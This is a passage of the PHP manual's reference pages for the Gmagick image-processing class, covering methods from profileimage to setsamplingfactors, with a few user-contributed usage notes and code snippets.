Adds or removes a ICC, IPTC, or generic profile from an image. If the profile is null, it is removed from the image otherwise added. Use a name of * and a profile of null to remove all profiles from the image.

参数

name

Name of profile to add or remove: ICC, IPTC, or generic profile.

profile

The profile.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Analyzes the colors within a reference image

  • ? Gmagick::profileimage
  • Gmagick::quantizeimages ?
  • PHP Manual
  • Gmagick
  • Analyzes the colors within a reference image

Gmagick::quantizeimage

(PECL gmagick >= Unknown)

Gmagick::quantizeimage — Analyzes the colors within a reference image

说明

public Gmagick::quantizeimage(
int $numColors,
int $colorspace,
int $treeDepth,
bool $dither,
bool $measureError
): Gmagick

Analyzes the colors within a reference image and chooses a fixed number of colors to represent the image. The goal of the algorithm is to minimize the color difference between the input and output image while minimizing the processing time.

参数

numColors

The number of colors.

colorspace

Perform color reduction in this colorspace, typically RGBColorspace.

treeDepth

Normally, this integer value is zero or one. A zero or one tells Quantize to choose a optimal tree depth of Log4(number_colors).% A tree of this depth generally allows the best representation of the reference image with the least amount of memory and the fastest computational speed. In some cases, such as an image with low color dispersion (a few number of colors), a value other than Log4(number_colors) is required. To expand the color tree completely, use a value of 8.

dither

A value other than zero distributes the difference between an original image and the corresponding color reduced algorithm to neighboring pixels along a Hilbert curve.

measureError

A value other than zero measures the difference between the original and quantized images. This difference is the total quantization error. The error is computed by summing over all pixels in an image the distance squared in RGB space between each reference pixel value and its quantized value.

返回值

The Gmagick object on success

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


The quantizeimages purpose

  • ? Gmagick::quantizeimage
  • Gmagick::queryfontmetrics ?
  • PHP Manual
  • Gmagick
  • The quantizeimages purpose

Gmagick::quantizeimages

(PECL gmagick >= Unknown)

Gmagick::quantizeimages — The quantizeimages purpose

说明

public Gmagick::quantizeimages(
int $numColors,
int $colorspace,
int $treeDepth,
bool $dither,
bool $measureError
): Gmagick

Analyzes the colors within a sequence of images and chooses a fixed number of colors to represent the image. The goal of the algorithm is to minimize the color difference between the input and output image while minimizing the processing time.

参数

numColors

The number of colors.

colorspace

Perform color reduction in this colorspace, typically RGBColorspace.

treeDepth

Normally, this integer value is zero or one. A zero or one tells Quantize to choose a optimal tree depth of Log4(number_colors).% A tree of this depth generally allows the best representation of the reference image with the least amount of memory and the fastest computational speed. In some cases, such as an image with low color dispersion (a few number of colors), a value other than Log4(number_colors) is required. To expand the color tree completely, use a value of 8.

dither

A value other than zero distributes the difference between an original image and the corresponding color reduced algorithm to neighboring pixels along a Hilbert curve.

measureError

A value other than zero measures the difference between the original and quantized images. This difference is the total quantization error. The error is computed by summing over all pixels in an image the distance squared in RGB space between each reference pixel value and its quantized value.

返回值

The Gmagick object on success

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns an array representing the font metrics

  • ? Gmagick::quantizeimages
  • Gmagick::queryfonts ?
  • PHP Manual
  • Gmagick
  • Returns an array representing the font metrics

Gmagick::queryfontmetrics

(PECL gmagick >= Unknown)

Gmagick::queryfontmetrics — Returns an array representing the font metrics

说明

public Gmagick::queryfontmetrics(GmagickDraw $draw, string $text): array

MagickQueryFontMetrics() returns an array representing the font metrics.

参数

此函数没有参数。

返回值

The Gmagick object on success

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the configured fonts

  • ? Gmagick::queryfontmetrics
  • Gmagick::queryformats ?
  • PHP Manual
  • Gmagick
  • Returns the configured fonts

Gmagick::queryfonts

(PECL gmagick >= Unknown)

Gmagick::queryfonts — Returns the configured fonts

说明

public Gmagick::queryfonts(string $pattern = "*"): array

Returns fonts supported by Gmagick.

参数

此函数没有参数。

返回值

The Gmagick object on success

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

Mathew Oransky 02-Nov-2009 06:39
An example of how to get the fonts available.
<?php
$image = new Gmagick();
$fonts = $image->queryfonts();
foreach($fonts as $font){
  echo $font."\n";
}
?>


Returns formats supported by Gmagick

  • ? Gmagick::queryfonts
  • Gmagick::radialblurimage ?
  • PHP Manual
  • Gmagick
  • Returns formats supported by Gmagick

Gmagick::queryformats

(PECL gmagick >= Unknown)

Gmagick::queryformats — Returns formats supported by Gmagick

说明

public Gmagick::queryformats(string $pattern = "*"): array

Returns formats supported by Gmagick.

参数

pattern

Specifies a string containing a pattern.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Radial blurs an image

  • ? Gmagick::queryformats
  • Gmagick::raiseimage ?
  • PHP Manual
  • Gmagick
  • Radial blurs an image

Gmagick::radialblurimage

(PECL gmagick >= Unknown)

Gmagick::radialblurimage — Radial blurs an image

说明

public Gmagick::radialblurimage(float $angle, int $channel = Gmagick::CHANNEL_DEFAULT): Gmagick

Radial blurs an image.

参数

angle

The angle of the blur in degrees.

channel

Related channel.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Creates a simulated 3d button-like effect

  • ? Gmagick::radialblurimage
  • Gmagick::read ?
  • PHP Manual
  • Gmagick
  • Creates a simulated 3d button-like effect

Gmagick::raiseimage

(PECL gmagick >= Unknown)

Gmagick::raiseimage — Creates a simulated 3d button-like effect

说明

public Gmagick::raiseimage(
int $width,
int $height,
int $x,
int $y,
bool $raise
): Gmagick

Creates a simulated three-dimensional button-like effect by lightening and darkening the edges of the image. Members width and height of raise_info define the width of the vertical and horizontal edge of the effect.

参数

width

Width of the area to raise.

height

Height of the area to raise.

x

X coordinate.

y

Y coordinate.

raise

A value other than zero creates a 3-D raise effect, otherwise it has a lowered effect.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Reads image from filename

  • ? Gmagick::raiseimage
  • Gmagick::readimage ?
  • PHP Manual
  • Gmagick
  • Reads image from filename

Gmagick::read

(PECL gmagick >= Unknown)

Gmagick::read — Reads image from filename

说明

public Gmagick::read(string $filename): Gmagick

Reads image from filename.

参数

filename

The image filename.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Reads image from filename

  • ? Gmagick::read
  • Gmagick::readimageblob ?
  • PHP Manual
  • Gmagick
  • Reads image from filename

Gmagick::readimage

(PECL gmagick >= Unknown)

Gmagick::readimage — Reads image from filename

说明

public Gmagick::readimage(string $filename): Gmagick

Reads image from filename.

参数

filename

The image filename.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Reads image from a binary string

  • ? Gmagick::readimage
  • Gmagick::readimagefile ?
  • PHP Manual
  • Gmagick
  • Reads image from a binary string

Gmagick::readimageblob

(PECL gmagick >= Unknown)

Gmagick::readimageblob — Reads image from a binary string

说明

public Gmagick::readimageblob(string $imageContents, string $filename = ?): Gmagick

Reads image from a binary string.

参数

imageContents

Content of image.

filename

The image filename.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

MPLong 28-Jun-2010 11:29
If you want to be able to do the opposite (output your gmagick object to a blob), then use getImageBlob() like this:

$outputstring = $im->getImageBlob();

This is apparently undocumented here, but since the entire library is ported/modeled on the imagemagick library, it makes sense that it uses the same name as imagemagick.


The readimagefile purpose

  • ? Gmagick::readimageblob
  • Gmagick::reducenoiseimage ?
  • PHP Manual
  • Gmagick
  • The readimagefile purpose

Gmagick::readimagefile

(PECL gmagick >= Unknown)

Gmagick::readimagefile — The readimagefile purpose

说明

public Gmagick::readimagefile(resource $fp, string $filename = ?): Gmagick

Reads an image or image sequence from an open file descriptor.

参数

fp

The file descriptor.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Smooths the contours of an image

  • ? Gmagick::readimagefile
  • Gmagick::removeimage ?
  • PHP Manual
  • Gmagick
  • Smooths the contours of an image

Gmagick::reducenoiseimage

(PECL gmagick >= Unknown)

Gmagick::reducenoiseimage — Smooths the contours of an image

说明

public Gmagick::reducenoiseimage(float $radius): Gmagick

Smooths the contours of an image while still preserving edge information. The algorithm works by replacing each pixel with its neighbor closest in value. A neighbor is defined by radius. Use a radius of 0 and Gmagick::reducenoiseimage() selects a suitable radius for you.

参数

radius

The radius of the pixel neighborhood.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Removes an image from the image list

  • ? Gmagick::reducenoiseimage
  • Gmagick::removeimageprofile ?
  • PHP Manual
  • Gmagick
  • Removes an image from the image list

Gmagick::removeimage

(PECL gmagick >= Unknown)

Gmagick::removeimage — Removes an image from the image list

说明

public Gmagick::removeimage(): Gmagick

Removes an image from the image list.

参数

此函数没有参数。

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Removes the named image profile and returns it

  • ? Gmagick::removeimage
  • Gmagick::resampleimage ?
  • PHP Manual
  • Gmagick
  • Removes the named image profile and returns it

Gmagick::removeimageprofile

(PECL gmagick >= Unknown)

Gmagick::removeimageprofile — Removes the named image profile and returns it

说明

public Gmagick::removeimageprofile(string $name): string

Removes the named image profile and returns it.

参数

name

Name of profile to return: ICC, IPTC, or generic profile.

返回值

The named profile.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Resample image to desired resolution

  • ? Gmagick::removeimageprofile
  • Gmagick::resizeimage ?
  • PHP Manual
  • Gmagick
  • Resample image to desired resolution

Gmagick::resampleimage

(PECL gmagick >= Unknown)

Gmagick::resampleimage — Resample image to desired resolution

说明

public Gmagick::resampleimage(
float $xResolution,
float $yResolution,
int $filter,
float $blur
): Gmagick

Resample image to desired resolution.

参数

xResolution

The new image x resolution.

yResolution

The new image y resolution.

filter

Image filter to use.

blur

The blur factor where larger than 1 is blurry, smaller than 1 is sharp.

返回值

The Gmagick object on success

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Scales an image

  • ? Gmagick::resampleimage
  • Gmagick::rollimage ?
  • PHP Manual
  • Gmagick
  • Scales an image

Gmagick::resizeimage

(PECL gmagick >= Unknown)

Gmagick::resizeimage — Scales an image

说明

public Gmagick::resizeimage(
int $width,
int $height,
int $filter,
float $blur,
bool $fit = false
): Gmagick

Scales an image to the desired dimensions with a filter.

参数

width

The number of columns in the scaled image.

height

The number of rows in the scaled image.

filter

Image filter to use.

blur

The blur factor where larger than 1 is blurry, lesser than 1 is sharp.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Offsets an image

  • ? Gmagick::resizeimage
  • Gmagick::rotateimage ?
  • PHP Manual
  • Gmagick
  • Offsets an image

Gmagick::rollimage

(PECL gmagick >= Unknown)

Gmagick::rollimage — Offsets an image

说明

public Gmagick::rollimage(int $x, int $y): Gmagick

Offsets an image as defined by x and y.

参数

x

The x offset.

y

The y offset.

返回值

The Gmagick object on success

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Rotates an image

  • ? Gmagick::rollimage
  • Gmagick::scaleimage ?
  • PHP Manual
  • Gmagick
  • Rotates an image

Gmagick::rotateimage

(PECL gmagick >= Unknown)

Gmagick::rotateimage — Rotates an image

说明

public Gmagick::rotateimage(mixed $color, float $degrees): Gmagick

Rotates an image the specified number of degrees. Empty triangles left over from rotating the image are filled with the background color.

参数

color

The background pixel.

degrees

The number of degrees to rotate the image.

返回值

The Gmagick object on success

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Scales the size of an image

  • ? Gmagick::rotateimage
  • Gmagick::separateimagechannel ?
  • PHP Manual
  • Gmagick
  • Scales the size of an image

Gmagick::scaleimage

(PECL gmagick >= Unknown)

Gmagick::scaleimage — Scales the size of an image

说明

public Gmagick::scaleimage(int $width, int $height, bool $fit = false): Gmagick

Scales the size of an image to the given dimensions. The other parameter will be calculated if 0 is passed as either param.

参数

width

The number of columns in the scaled image.

height

The number of rows in the scaled image.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

richard at computertech dot systems 26-Dec-2022 09:45
Its important to understand that the boolean flag : $FIT is used as a MAXIMUM boundary of either X or Y

If you use a physical image with a size of 128x256

 scaleImage(200, 100, true);  Will scale Y to 100 and X will be calculated
 scaleImage(100, 120, true);  Will scale X to 100 and Y will be calculated

$FIT is a LIMITER which is why it requires both an X and a Y for $FIT=true
support at yourmob dot net 07-Dec-2019 02:52
CORRECTION

Replace

echo 'img src="data:image/jpeg:base64,'.base64_encode($image).'">';

With

echo '<img src="data:image/jpeg:base64,'.base64_encode($image).'">';
support at yourmob dot net 07-Dec-2019 02:32
Simple method to load an image from file, resize and display without writing to disk.
tested on jpg, gif and bmp
<?php
$image= new Gmagick( "yourimage.jpg");
$image->scaleimage(300,0);
echo 'img src="data:image/jpeg:base64,'.base64_encode($image).'">';
$image->destroy();
?>


Separates a channel from the image

  • ? Gmagick::scaleimage
  • Gmagick::setCompressionQuality ?
  • PHP Manual
  • Gmagick
  • Separates a channel from the image

Gmagick::separateimagechannel

(PECL gmagick >= Unknown)

Gmagick::separateimagechannel — Separates a channel from the image

说明

public Gmagick::separateimagechannel(int $channel): Gmagick

Separates a channel from the image and returns a grayscale image. A channel is a particular color component of each pixel in the image.

参数

channel

One of the Channel constant (Gmagick::CHANNEL_*).

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the object's default compression quality

  • ? Gmagick::separateimagechannel
  • Gmagick::setfilename ?
  • PHP Manual
  • Gmagick
  • Sets the object's default compression quality

Gmagick::setCompressionQuality

(No version information available, might only be in Git)

Gmagick::setCompressionQuality — Sets the object's default compression quality

说明

Gmagick::setCompressionQuality( int $quality = 75 ): Gmagick

Sets the object's default compression quality.

参数

quality

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

示例

Example #1 Gmagick::setCompressionQuality()

<?php
$gm = new Gmagick();
$gm->read("magick:rose");
$gm->setCompressionQuality(2);
?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the filename before you read or write the image

  • ? Gmagick::setCompressionQuality
  • Gmagick::setimagebackgroundcolor ?
  • PHP Manual
  • Gmagick
  • Sets the filename before you read or write the image

Gmagick::setfilename

(PECL gmagick >= Unknown)

Gmagick::setfilename — Sets the filename before you read or write the image

说明

public Gmagick::setfilename(string $filename): Gmagick

Sets the filename before you read or write an image file.

参数

filename

The image filename.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the image background color

  • ? Gmagick::setfilename
  • Gmagick::setimageblueprimary ?
  • PHP Manual
  • Gmagick
  • Sets the image background color

Gmagick::setimagebackgroundcolor

(PECL gmagick >= Unknown)

Gmagick::setimagebackgroundcolor — Sets the image background color

说明

public Gmagick::setimagebackgroundcolor(GmagickPixel $color): Gmagick

Sets the image background color.

参数

color

The background pixel wand.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the image chromaticity blue primary point

  • ? Gmagick::setimagebackgroundcolor
  • Gmagick::setimagebordercolor ?
  • PHP Manual
  • Gmagick
  • Sets the image chromaticity blue primary point

Gmagick::setimageblueprimary

(PECL gmagick >= Unknown)

Gmagick::setimageblueprimary — Sets the image chromaticity blue primary point

说明

public Gmagick::setimageblueprimary(float $x, float $y): Gmagick

Sets the image chromaticity blue primary point.

参数

x

The blue primary x-point.

y

The blue primary y-point.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the image border color

  • ? Gmagick::setimageblueprimary
  • Gmagick::setimagechanneldepth ?
  • PHP Manual
  • Gmagick
  • Sets the image border color

Gmagick::setimagebordercolor

(PECL gmagick >= Unknown)

Gmagick::setimagebordercolor — Sets the image border color

说明

public Gmagick::setimagebordercolor(GmagickPixel $color): Gmagick

Sets the image border color.

参数

color

The border pixel wand.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the depth of a particular image channel

  • ? Gmagick::setimagebordercolor
  • Gmagick::setimagecolorspace ?
  • PHP Manual
  • Gmagick
  • Sets the depth of a particular image channel

Gmagick::setimagechanneldepth

(PECL gmagick >= Unknown)

Gmagick::setimagechanneldepth — Sets the depth of a particular image channel

说明

public Gmagick::setimagechanneldepth(int $channel, int $depth): Gmagick

Sets the depth of a particular image channel.

参数

channel

One of the Channel constant (Gmagick::CHANNEL_*).

depth

The image depth in bits.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the image colorspace

  • ? Gmagick::setimagechanneldepth
  • Gmagick::setimagecompose ?
  • PHP Manual
  • Gmagick
  • Sets the image colorspace

Gmagick::setimagecolorspace

(PECL gmagick >= Unknown)

Gmagick::setimagecolorspace — Sets the image colorspace

说明

public Gmagick::setimagecolorspace(int $colorspace): Gmagick

Sets the image colorspace.

参数

colorspace

One of the Colorspace constant (Gmagick::COLORSPACE_*).

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

MPLong 28-Jun-2010 11:24
Convert CMYK to RGB:

<?php
$cs = $im->getimagecolorspace();
if ($cs == Gmagick::COLORSPACE_CMYK)
{
     $im->setImageColorspace(Gmagick::COLORSPACE_SRGB);
}
?>


Sets the image composite operator

  • ? Gmagick::setimagecolorspace
  • Gmagick::setimagedelay ?
  • PHP Manual
  • Gmagick
  • Sets the image composite operator

Gmagick::setimagecompose

(PECL gmagick >= Unknown)

Gmagick::setimagecompose — Sets the image composite operator

说明

public Gmagick::setimagecompose(int $composite): Gmagick

Sets the image composite operator.

参数

composite

The image composite operator.

返回值

The Gmagick object on success

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the image delay

  • ? Gmagick::setimagecompose
  • Gmagick::setimagedepth ?
  • PHP Manual
  • Gmagick
  • Sets the image delay

Gmagick::setimagedelay

(PECL gmagick >= Unknown)

Gmagick::setimagedelay — Sets the image delay

说明

public Gmagick::setimagedelay(int $delay): Gmagick

Sets the image delay.

参数

delay

The image delay in 1/100th of a second.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the image depth

  • ? Gmagick::setimagedelay
  • Gmagick::setimagedispose ?
  • PHP Manual
  • Gmagick
  • Sets the image depth

Gmagick::setimagedepth

(PECL gmagick >= Unknown)

Gmagick::setimagedepth — Sets the image depth

说明

public Gmagick::setimagedepth(int $depth): Gmagick

Sets the image depth.

参数

depth

The image depth in bits: 8, 16, or 32.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the image disposal method

  • ? Gmagick::setimagedepth
  • Gmagick::setimagefilename ?
  • PHP Manual
  • Gmagick
  • Sets the image disposal method

Gmagick::setimagedispose

(PECL gmagick >= Unknown)

Gmagick::setimagedispose — Sets the image disposal method

说明

public Gmagick::setimagedispose(int $disposeType): Gmagick

Sets the image disposal method.

参数

disposeType

The image disposal type.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the filename of a particular image in a sequence

  • ? Gmagick::setimagedispose
  • Gmagick::setimageformat ?
  • PHP Manual
  • Gmagick
  • Sets the filename of a particular image in a sequence

Gmagick::setimagefilename

(PECL gmagick >= Unknown)

Gmagick::setimagefilename — Sets the filename of a particular image in a sequence

说明

public Gmagick::setimagefilename(string $filename): Gmagick

Sets the filename of a particular image in a sequence.

参数

filename

The image filename.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the format of a particular image

  • ? Gmagick::setimagefilename
  • Gmagick::setimagegamma ?
  • PHP Manual
  • Gmagick
  • Sets the format of a particular image

Gmagick::setimageformat

(PECL gmagick >= Unknown)

Gmagick::setimageformat — Sets the format of a particular image

说明

public Gmagick::setimageformat(string $imageFormat): Gmagick

Sets the format of a particular image in a sequence.

参数

imageFormat

The image format.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the image gamma

  • ? Gmagick::setimageformat
  • Gmagick::setimagegreenprimary ?
  • PHP Manual
  • Gmagick
  • Sets the image gamma

Gmagick::setimagegamma

(PECL gmagick >= Unknown)

Gmagick::setimagegamma — Sets the image gamma

说明

public Gmagick::setimagegamma(float $gamma): Gmagick

Sets the image gamma.

参数

gamma

The image gamma.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the image chromaticity green primary point

  • ? Gmagick::setimagegamma
  • Gmagick::setimageindex ?
  • PHP Manual
  • Gmagick
  • Sets the image chromaticity green primary point

Gmagick::setimagegreenprimary

(PECL gmagick >= Unknown)

Gmagick::setimagegreenprimary — Sets the image chromaticity green primary point

说明

public Gmagick::setimagegreenprimary(float $x, float $y): Gmagick

Sets the image chromaticity green primary point.

参数

x

The chromaticity green primary x-point.

y

The chromaticity green primary y-point.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Set the iterator to the position in the image list specified with the index parameter

  • ? Gmagick::setimagegreenprimary
  • Gmagick::setimageinterlacescheme ?
  • PHP Manual
  • Gmagick
  • Set the iterator to the position in the image list specified with the index parameter

Gmagick::setimageindex

(PECL gmagick >= Unknown)

Gmagick::setimageindex — Set the iterator to the position in the image list specified with the index parameter

说明

public Gmagick::setimageindex(int $index): Gmagick

Set the iterator to the position in the image list specified with the index parameter.

参数

index

The scene number.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the interlace scheme of the image

  • ? Gmagick::setimageindex
  • Gmagick::setimageiterations ?
  • PHP Manual
  • Gmagick
  • Sets the interlace scheme of the image

Gmagick::setimageinterlacescheme

(PECL gmagick >= Unknown)

Gmagick::setimageinterlacescheme — Sets the interlace scheme of the image

说明

public Gmagick::setimageinterlacescheme(int $interlace): Gmagick

Sets the interlace scheme of the image.

参数

interlace

One of the Interlace constant (Gmagick::INTERLACE_*).

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

Isius 03-Jan-2013 03:24
Just in case you're having trouble finding the constants for this like I was. They are as-of-yet unlisted on the predefined constants page.

INTERLACE_UNDEFINED, UndefinedInterlace
INTERLACE_NO, NoInterlace
INTERLACE_LINE, LineInterlace
INTERLACE_PLANE, PlaneInterlace
INTERLACE_PARTITION, PartitionInterlace


Sets the image iterations

  • ? Gmagick::setimageinterlacescheme
  • Gmagick::setimageprofile ?
  • PHP Manual
  • Gmagick
  • Sets the image iterations

Gmagick::setimageiterations

(PECL gmagick >= Unknown)

Gmagick::setimageiterations — Sets the image iterations

说明

public Gmagick::setimageiterations(int $iterations): Gmagick

Sets the image iterations.

参数

iterations

The image delay in 1/100th of a second.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Adds a named profile to the Gmagick object

  • ? Gmagick::setimageiterations
  • Gmagick::setimageredprimary ?
  • PHP Manual
  • Gmagick
  • Adds a named profile to the Gmagick object

Gmagick::setimageprofile

(PECL gmagick >= Unknown)

Gmagick::setimageprofile — Adds a named profile to the Gmagick object

说明

public Gmagick::setimageprofile(string $name, string $profile): Gmagick

Adds a named profile to the Gmagick object. If a profile with the same name already exists, it is replaced. This method differs from the Gmagick::profileimage() method in that it does not apply any CMS color profiles.

参数

name

Name of profile to add or remove: ICC, IPTC, or generic profile.

profile

The profile.

返回值

The Gmagick object on success.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the image chromaticity red primary point

  • ? Gmagick::setimageprofile
  • Gmagick::setimagerenderingintent ?
  • PHP Manual
  • Gmagick
  • Sets the image chromaticity red primary point

Gmagick::setimageredprimary

(PECL gmagick >= Unknown)

Gmagick::setimageredprimary — Sets the image chromaticity red primary point

说明

public Gmagick::setimageredprimary(float $x, float $y): Gmagick

Sets the image chromaticity red primary point.

参数

x

The red primary x-point.

y

The red primary y-point.

返回值

The Gmagick object on success.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the image rendering intent

  • ? Gmagick::setimageredprimary
  • Gmagick::setimageresolution ?
  • PHP Manual
  • Gmagick
  • Sets the image rendering intent

Gmagick::setimagerenderingintent

(PECL gmagick >= Unknown)

Gmagick::setimagerenderingintent — Sets the image rendering intent

说明

public Gmagick::setimagerenderingintent(int $rendering_intent): Gmagick

Sets the image rendering intent.

参数

rendering_intent

One of the Rendering Intent constant (Gmagick::RENDERINGINTENT_*).

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the image resolution

  • ? Gmagick::setimagerenderingintent
  • Gmagick::setimagescene ?
  • PHP Manual
  • Gmagick
  • Sets the image resolution

Gmagick::setimageresolution

(PECL gmagick >= Unknown)

Gmagick::setimageresolution — Sets the image resolution

说明

public Gmagick::setimageresolution(float $xResolution, float $yResolution): Gmagick

Sets the image resolution.

参数

xResolution

The image x resolution.

yResolution

The image y resolution.

返回值

The Gmagick object on success.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the image scene

  • ? Gmagick::setimageresolution
  • Gmagick::setimagetype ?
  • PHP Manual
  • Gmagick
  • Sets the image scene

Gmagick::setimagescene

(PECL gmagick >= Unknown)

Gmagick::setimagescene — Sets the image scene

说明

public Gmagick::setimagescene(int $scene): Gmagick

Sets the image scene.

参数

scene

The image scene number.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the image type

  • ? Gmagick::setimagescene
  • Gmagick::setimageunits ?
  • PHP Manual
  • Gmagick
  • Sets the image type

Gmagick::setimagetype

(PECL gmagick >= Unknown)

Gmagick::setimagetype — Sets the image type

说明

public Gmagick::setimagetype(int $imgType): Gmagick

Sets the image type.

参数

imgType

One of the Image type constant (Gmagick::IMGTYPE_*).

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

Jrg Wagner 18-Sep-2012 11:52
The predefined constant values listed here are wrong. The correct values can be found at:
www.php.net/manual/de/gmagick.constants.php

They are:
Gmagick::IMGTYPE_UNDEFINED (integer)
Gmagick::IMGTYPE_BILEVEL (integer)
Gmagick::IMGTYPE_GRAYSCALE (integer)
Gmagick::IMGTYPE_GRAYSCALEMATTE (integer)
Gmagick::IMGTYPE_PALETTE (integer)
Gmagick::IMGTYPE_PALETTEMATTE (integer)
Gmagick::IMGTYPE_TRUECOLOR (integer)
Gmagick::IMGTYPE_TRUECOLORMATTE (integer)
Gmagick::IMGTYPE_COLORSEPARATION (integer)
Gmagick::IMGTYPE_COLORSEPARATIONMATTE (integer)
Gmagick::IMGTYPE_OPTIMIZE (integer)

The $image_Type parameter can be one of these constants:

imagick::IMGTYPE_UNDEFINED (integer)
imagick::IMGTYPE_BILEVEL (integer)
imagick::IMGTYPE_GRAYSCALE (integer)
imagick::IMGTYPE_GRAYSCALEMATTE (integer)
imagick::IMGTYPE_PALETTE (integer)
imagick::IMGTYPE_PALETTEMATTE (integer)
imagick::IMGTYPE_TRUECOLOR (integer)
imagick::IMGTYPE_TRUECOLORMATTE (integer)
imagick::IMGTYPE_COLORSEPARATION (integer)
imagick::IMGTYPE_COLORSEPARATIONMATTE (integer)
imagick::IMGTYPE_OPTIMIZE (integer)

See section "IMGTYPE constants" at http://www.php.net/manual/en/imagick.constants.php


Sets the image units of resolution

  • ? Gmagick::setimagetype
  • Gmagick::setimagewhitepoint ?
  • PHP Manual
  • Gmagick
  • Sets the image units of resolution

Gmagick::setimageunits

(PECL gmagick >= Unknown)

Gmagick::setimageunits — Sets the image units of resolution

说明

public Gmagick::setimageunits(int $resolution): Gmagick

Sets the image units of resolution.

参数

resolution

One of the Resolution constant (Gmagick::RESOLUTION_*).

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the image chromaticity white point

  • ? Gmagick::setimageunits
  • Gmagick::setsamplingfactors ?
  • PHP Manual
  • Gmagick
  • Sets the image chromaticity white point

Gmagick::setimagewhitepoint

(PECL gmagick >= Unknown)

Gmagick::setimagewhitepoint — Sets the image chromaticity white point

说明

public Gmagick::setimagewhitepoint(float $x, float $y): Gmagick

Sets the image chromaticity white point.

参数

x

The white x-point.

y

The white y-point.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the image sampling factors

  • ? Gmagick::setimagewhitepoint
  • Gmagick::setsize ?
  • PHP Manual
  • Gmagick
  • Sets the image sampling factors

Gmagick::setsamplingfactors

(PECL gmagick >= Unknown)

Gmagick::setsamplingfactors — Sets the image sampling factors

说明

public Gmagick::setsamplingfactors(array $factors): Gmagick

Sets the image sampling factors.

参数

factors

An array of floats representing the sampling factor for each color component (in RGB order).

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the size of the Gmagick object

  • ? Gmagick::setsamplingfactors
  • Gmagick::shearimage ?
  • PHP Manual
  • Gmagick
  • Sets the size of the Gmagick object

Gmagick::setsize

